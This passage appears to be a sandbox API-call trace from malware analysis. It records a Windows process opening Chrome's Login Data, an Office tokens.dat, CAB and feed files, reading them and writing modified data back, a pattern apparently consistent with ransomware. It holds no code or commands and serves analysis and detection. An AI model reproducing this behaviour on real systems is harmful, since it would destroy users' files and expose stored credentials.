lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0058.143] CloseHandle (hObject=0x12c) returned 1 [0058.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0058.144] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.144] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4800 [0058.144] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0058.144] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.144] ReleaseMutex (hMutex=0x128) returned 1 [0058.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Login Data", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0058.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Login Data", cchWideChar=10, lpMultiByteStr=0x1e62fcc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Login Data", lpUsedDefaultChar=0x0) returned 10 [0058.144] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.146] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3800 [0058.146] ReadFile (in: hFile=0x12c, lpBuffer=0x276c958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0058.146] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3800 [0058.146] WriteFile (in: hFile=0x12c, lpBuffer=0x27fd658*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0066.071] LocalFree (hMem=0x70e078) returned 0x0 [0066.071] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0066.072] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0066.072] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0066.072] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0066.072] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20 [0066.072] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.073] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.073] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x469bd5 [0066.074] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.074] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.074] ReleaseMutex (hMutex=0x128) returned 1 [0066.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tokens.dat", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0066.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tokens.dat", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tokens.dat", lpUsedDefaultChar=0x0) returned 10 [0066.074] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0066.350] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0066.351] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0x2000, lpOverlapped=0x0) returned 1 [0066.352] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x467bd5 [0066.352] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x2000, lpOverlapped=0x0) returned 1 [0066.354] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x467bd5 [0066.354] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf28c*=0x2588, lpOverlapped=0x0) returned 1 [0066.355] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0066.355] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0066.355] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0066.356] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x2000, lpOverlapped=0x0) returned 1 [0066.356] CloseHandle (hObject=0x12c) returned 1 [0066.356] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.357] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.357] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6f8 [0066.357] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.357] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.357] ReleaseMutex (hMutex=0x128) returned 1 [0066.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSACCESS.DEV.14.1033.hxn", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0066.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSACCESS.DEV.14.1033.hxn", cchWideChar=27, lpMultiByteStr=0x1e7faec, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSACCESS.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 27 [0066.357] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6f8, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x32cf2bc*=0x6f8, lpOverlapped=0x0) returned 1 [0066.358] CloseHandle (hObject=0x12c) returned 1 [0066.358] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.358] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.358] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6f8 [0066.358] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.358] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.358] ReleaseMutex (hMutex=0x128) returned 1 [0066.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.POWERPNT.DEV.14.1033.hxn", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0066.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.POWERPNT.DEV.14.1033.hxn", cchWideChar=27, lpMultiByteStr=0x1e7faec, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.POWERPNT.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 27 [0066.359] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6f8, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x32cf2bc*=0x6f8, lpOverlapped=0x0) returned 1 [0066.359] CloseHandle (hObject=0x12c) returned 1 [0066.359] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.359] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.359] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6f2 [0066.359] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.359] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.359] ReleaseMutex (hMutex=0x128) returned 1 [0066.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINWORD.DEV.14.1033.hxn", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0066.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINWORD.DEV.14.1033.hxn", cchWideChar=26, lpMultiByteStr=0x1e7faec, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.WINWORD.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 26 [0066.360] ReadFile (in: hFile=0x12c, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6f2, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x32cf2bc*=0x6f2, lpOverlapped=0x0) returned 1 [0066.360] CloseHandle (hObject=0x12c) returned 1 [0066.360] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.360] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.360] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x822 [0066.360] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.360] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.361] ReleaseMutex (hMutex=0x128) returned 1 [0066.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0066.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="state.rsm", lpUsedDefaultChar=0x0) returned 9 [0066.361] ReadFile (in: hFile=0x12c, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x32cf2bc*=0x822, lpOverlapped=0x0) returned 1 [0066.361] CloseHandle (hObject=0x12c) returned 1 [0066.361] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.361] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.361] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xfce92 [0066.361] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.362] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.362] ReleaseMutex (hMutex=0x128) returned 1 [0066.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0066.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0066.362] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0066.362] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0066.362] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xfbe92 [0066.362] ReadFile (in: hFile=0x12c, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0066.363] CloseHandle (hObject=0x12c) returned 1 [0066.363] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.363] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.363] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x59c36d [0066.363] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.363] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.363] ReleaseMutex (hMutex=0x128) returned 1 [0066.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0066.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0066.364] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0066.364] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0066.364] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0x2000, lpOverlapped=0x0) returned 1 [0066.365] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x59a36d [0066.365] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x2000, lpOverlapped=0x0) returned 1 [0066.365] CloseHandle (hObject=0x12c) returned 1 [0066.365] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.366] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.366] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a00 [0066.366] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.366] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.366] ReleaseMutex (hMutex=0x128) returned 1 [0066.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FeedsStore.feedsdb-ms", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FeedsStore.feedsdb-ms", cchWideChar=21, lpMultiByteStr=0x1e78b04, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FeedsStore.feedsdb-ms", lpUsedDefaultChar=0x0) returned 21 [0066.366] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0066.368] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0066.368] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0066.368] CloseHandle (hObject=0x12c) returned 1 [0066.368] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0066.369] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.369] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x43 [0066.369] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0066.369] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0066.369] ReleaseMutex (hMutex=0x128) returned 1 [0066.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0066.369] WideCharToMultiByte (in: 